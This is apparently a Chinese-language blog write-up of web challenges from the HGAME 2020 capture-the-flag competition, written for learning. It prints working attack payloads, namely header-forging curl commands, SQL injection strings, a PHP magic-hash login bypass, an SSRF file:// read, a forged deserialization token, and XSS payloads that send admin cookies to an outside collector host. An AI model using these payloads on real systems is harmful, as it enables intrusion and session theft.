记录一下HGAME2020的Web的部分Web题解
Week1
Cosmos的博客
提示使用了版本管理系统,猜测存在git源码泄露,
发现确实是,使用Githack下载.git文件夹或者直接查看配置文件
发现一个新的GitHub地址,访问,查看commit
发现有一个commit的评论有点多,点开发现一串base64,解码得到flag
接头霸王
根据提示,猜测是http请求头伪造,于是开始伪造
1 | curl --referer https://vidar.club/ http://kyaru.hgame.n3ko.co |
1 | curl --referer https://vidar.club/ -H 'X-Forwarded-For: 127.0.0.1' http://kyaru.hgame.n3ko.co |
1 | url --referer https://vidar.club/ -H 'X-Forwarded-For: 127.0.0.1' --user-agent Cosmos Brower http://kyaru.hgame.n3ko.co |
1 | curl -vs -X POST --referer https://vidar.club/ -H 'X-Forwarded-For: 127.0.0.1' --user-agent Cosmos Brower http://kyaru.hgame.n3ko.co |
1 | curl --referer https://vidar.club/ -H 'X-Forwarded-For: 127.0.0.1' -H 'If-Unmodified-Since: Fri, 01 Jan 2077 00:00:00 GMT' --user-agent Cosmos Brower http://kyaru.hgame.n3ko.co -vs -X POST |
Code World
访问首页直接跳到new.php,访问index.php,回显405(不合法的请求方式),将GET请求更改为POST请求,得到关键提示
然后这个很明显是?a=两个数相加,但是怎么都不对
后来发现burp的+号要转码,将+进行一下url编码就得到了flag,确实是细节
🐔尼泰玫
蔡徐坤打篮球???在游戏死亡的时候发送一个数据包
|前面是分数,后面是时间戳的md5,于是写出解题脚本
1 | import requests |
后来官方wp说这个题直接改js就行。。。
Week2
Cosmos的博客后台
明显的文件包含,读源码
1 | <?php |
1 | <?php |
1 | <?php |
简单代码审计,先通过login.php读取全局变量
http://cosmos-admin.hgame.day-day.work/login.php?debug=GLOBALS
1 | array(9) { ["_GET"]=> array(1) { ["debug"]=> string(7) "GLOBALS" } ["_POST"]=> array(0) { } ["_COOKIE"]=> array(1) { ["PHPSESSID"]=> string(26) "i3tnfac7utddib1ln6otips5gu" } ["_FILES"]=> array(0) { } ["debug"]=> string(7) "GLOBALS" ["admin_password"]=> string(32) "0e114902927253523756713132279690" ["admin_username"]=> string(7) "Cosmos!" ["_SESSION"]=> &array(0) { } ["GLOBALS"]=> array(9) { ["_GET"]=> array(1) { ["debug"]=> string(7) "GLOBALS" } ["_POST"]=> array(0) { } ["_COOKIE"]=> array(1) { ["PHPSESSID"]=> string(26) "i3tnfac7utddib1ln6otips5gu" } ["_FILES"]=> array(0) { } ["debug"]=> string(7) "GLOBALS" ["admin_password"]=> string(32) "0e114902927253523756713132279690" ["admin_username"]=> string(7) "Cosmos!" ["_SESSION"]=> &array(0) { } ["GLOBALS"]=> *RECURSION* } } |
构造POST登录
1 | username=Cosmos!&password=QNKCDZO |
登陆成功,跳转到admin.php,审计代码,发现和上海市18年的比赛web1差不多ssrf,构造poc
1 | file://localhost/../../../../../../flag |
成功请求得到flag
Cosmos的留言板-1
看到?id=1,猜测应该是sql注入,尝试注入
1 | id=1 正常回显 |
判断字段数
1 | id=1'/**/order/**/by/**/1%23 正常回显 |
判断显示位
发现输入union的时候啥也没了,猜测存在waf,至少waf掉了union和select,但是大小写可以过
1 | id=0'/**/Union/**/Select/**/1%23 回显1 |
查询数据库名
1 | id=0'/**/Union/**/Select/**/database()%23 |
查询表名
1 | id=0'/**/Union/**/Select/**/group_concat(table_name)/**/From/**/information_schema.tables/**/where/**/table_schema=database()%23 |
查询字段名
1 | id=0'/**/Union/**/Select/**/group_concat(column_name)/**/From/**/information_schema.columns/**/where/**/table_name='f1aggggggggggggg'%23 |
查询数据
1 | id=0'/**/Union/**/Select/**/fl4444444g/**/From/**/f1aggggggggggggg%23 |
得到flag
Cosmos的新语言
访问/mycode,发现加密函数encrypt
1 | function encrypt($str){ |
写出解密函数
1 | function decrypt($str){ |
因为加密过程是动态的,所以给出动态解密脚本
1 | import requests |
Cosmos的聊天室
先给出解密code的脚本
1 | import hashlib |
XSS的题我就没做出来过,尝试根据wp复现
参考文章
https://blog.csdn.net/stepone4ward/article/details/104173443
首先双尖括号被过滤,script也被过滤,这里采用html实体编码绕过
原始payload为
1 | <img src=x onerror="s=createElement('script');body.appendChild(s);s.src='http://xsspt.com/yourcode?'+Math.random()" |
进行HTML实体编码,得到管理员cookie为
1 | f802788a02a51f9c624bb5d91815b |
替换自己的cookie得到flag即可
Week3
序列之争
访问首页,查看源代码,发现source.zip,下载下来进行审计
根据名字猜测是反序列化,发现反序列化函数
1 | $monsterData = base64_decode($_COOKIE['monster']); |
sign是$_COOKIE[‘monster’]base64解码后的后32位
$monsterData是$_COOKIE[‘monster’]base64解码后32位前面的部分
只要满足以下条件即可实现反序列化
1 | md5($monsterData . $this->encryptKey) === $sign |
monsterData和sign都可以控制得到,现在需要知道$this->encryptKey的值
1 | public function __construct($playerName){ |
$this->encryptKey传入data数组,然后对data数组执行$this->init($data)方法,我们定位到init()方法
1 | private function init($data){ |
发现value会通过$this->welcomeMsg来获得,寻找发现
1 | public $welcomeMsg = '%s, Welcome to Ordinal Scale!'; |
如果我们输入的用户名为%s,就可以利用这里的sprintf()造成格式化输出漏洞函数,得到$this->encryptKey,于是我们输入用户名为%s,得到得到$this->encryptKey为
1 | gkUFUa7GfPQui3DGUTHX6XIUS3ZAmClL |
于是构造反序列化
1 | <?php |
得到
1 | Tzo0OiJSYW5rIjozOntzOjEwOiIAUmFuawByYW5rIjtpOjE7czoxNToiAFJhbmsAc2VydmVyS2V5IjtOO3M6OToiAFJhbmsAa2V5IjtSOjM7fWM2OWU4ZGUyMzY4Yjc0ZmI4NWNjMzEzZjlmMzY3ZjIy |
替换token,得到flag
二发入魂
参考文章
https://www.anquanke.com/post/id/196831
给出大佬写的解密脚本,菜鸡凑活拿来用一下
1 | import requests |
Cosmos的二手市场
注册登录后可以买东西,也可以卖东西,但是卖东西的钱少,买东西的钱多,总钱数肯定是只少不多,不会到一百亿,所以猜测存在条件竞争,利用burp小线程买东西,大线程卖东西,一会钱就够了,直接拿flag即可
cosmos的留言板-2
注入点
1 | http://139.199.182.61:19999/index.php?method=delete&delete_id= |
先随便插入一条数据,然后开始盲注,给出盲注脚本
1 | import requests |
得到cosmos的账号密码,登录得到flag
1 | ['1', 'cosmos', 'f1FXOCnj26Fkadzt4Sqynf6O7CgR'] |
Cosmos的聊天室
过滤了script,双写绕过即可,没复现成功,玄学操作
给出理论上可以打的exp
1 | <scriscriptpt src="/send?message=window.open('http://ip:port/?'%2bdocument.cookie)"></scscriptript> |
本文链接: https://yd0ng.github.io/2020/02/13/HGAME-2020/
版权声明: 本作品采用 知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议 进行许可。转载请注明出处!